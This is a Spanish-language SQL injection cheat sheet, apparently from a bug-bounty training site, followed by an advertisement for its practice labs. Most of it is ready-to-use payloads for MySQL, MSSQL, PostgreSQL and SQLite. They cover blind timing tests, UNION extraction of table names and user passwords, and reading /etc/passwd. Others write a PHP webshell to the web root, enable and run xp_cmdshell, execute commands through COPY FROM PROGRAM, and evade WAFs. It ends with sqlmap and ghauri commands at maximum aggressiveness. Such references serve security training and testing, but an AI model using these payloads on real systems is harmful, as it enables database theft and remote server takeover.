Cheatsheet SQLi

SQL Injection

Referencia rápida

  • Siempre probar isomorphic tests antes de polyglots - menor ruido, mayor precision
  • PostgreSQL trata -- seguido de numero negativo como comentario (sin espacio)
  • Si un campo tiene longitud forzada, combinar inyeccion cross-field entre parametros
  • MSSQL permite stacked queries con ; lo que facilita RCE via xp_cmdshell
  • Usar CHAR() o hex encoding cuando las comillas estan bloqueadas

Deteccion - payloads iniciales

Comilla simple

'

Doble comilla

"

Comentario MySQL

' OR 1=1-- -

Isomorphic test numericoSi devuelve lo mismo que ID=1, la aritmetica se ejecuta en SQL

ID=2-1

Isomorphic test LIKEDoble % revela contexto LIKE sin sanitizar

q=Big%%

Isomorphic test stringConcatenacion de strings confirma inyeccion

name=Big' '

Time-based blind - MySQL

SLEEP basico

' AND SLEEP(5)-- -

SLEEP con parentesis

') AND SLEEP(5)-- -

SLEEP doble comilla

" AND SLEEP(5)-- -

SELECT SLEEP

' AND (SELECT SLEEP(5))-- -

OR SLEEP

' OR SLEEP(5)-- -

BENCHMARK

' AND BENCHMARK(10000000,SHA1('test'))-- -

Time-based blind - MSSQL y PostgreSQL

MSSQL WAITFOR

'; WAITFOR DELAY '0:0:5'-- -

MSSQL con parentesis

'); WAITFOR DELAY '0:0:5'-- -

PostgreSQL pg_sleep

'; SELECT pg_sleep(5)-- -

PostgreSQL OR

' || pg_sleep(5)-- -

SQLite RANDOMBLOB

' AND 1=RANDOMBLOB(500000000)-- -

Union-based extraction

Determinar columnas (ORDER BY)Incrementar hasta obtener error para determinar numero de columnas

' ORDER BY 1-- -

UNION SELECT NULL

' UNION SELECT NULL,NULL,NULL-- -

Extraer version MySQL

' UNION SELECT @@version,NULL,NULL-- -

Listar tablas

' UNION SELECT table_name,NULL FROM information_schema.tables-- -

Listar columnas

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

Sin comillas con CHAR()Usar CHAR() cuando las comillas estan filtradas

UNION SELECT CONCAT(user, CHAR(32), password) FROM users-- -

Escalacion a RCE

MySQL - webshell via INTO OUTFILE

' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

MySQL - leer archivos

' UNION SELECT LOAD_FILE('/etc/passwd')-- -

MSSQL - xp_cmdshell

'; EXEC xp_cmdshell 'whoami'-- -

MSSQL - habilitar xp_cmdshell

'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -

PostgreSQL - COPY TO webshell

'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'-- -

PostgreSQL - COPY PROGRAM

'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami';-- -

Bypass de WAF

WAFTécnicaPayload
Filtro de espacios
Comentarios inline
'/**/UNION/**/SELECT/**/1,2,3-- -
Filtro de comillas
CHAR() encoding
UNION SELECT CONCAT(CHAR(97),CHAR(100),CHAR(109))-- -
Filtro de UNION
Case manipulation
' uNiOn SeLeCt 1,2,3-- -
Filtro de keywords
Double URL encoding
%252f%252a*/UNION%252f%252a*/SELECT
Filtro de comentarios
Newline bypass
' OR 1=1%0AUNION%0ASELECT%0A1,2,3-- -

Herramientas

sqlmap

Herramienta automatizada de deteccion y explotacion de SQLi

sqlmap -r request.txt --batch --level=5 --risk=3 --dbs

ghauri

Alternativa a sqlmap con mejor deteccion de blind SQLi

ghauri -r request.txt --batch --dbs

Burp Suite + SQLi extension

Deteccion manual asistida con encoding y payloads automaticos

Burp Suite > Extensions > SQLiPy / Hackvertor

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras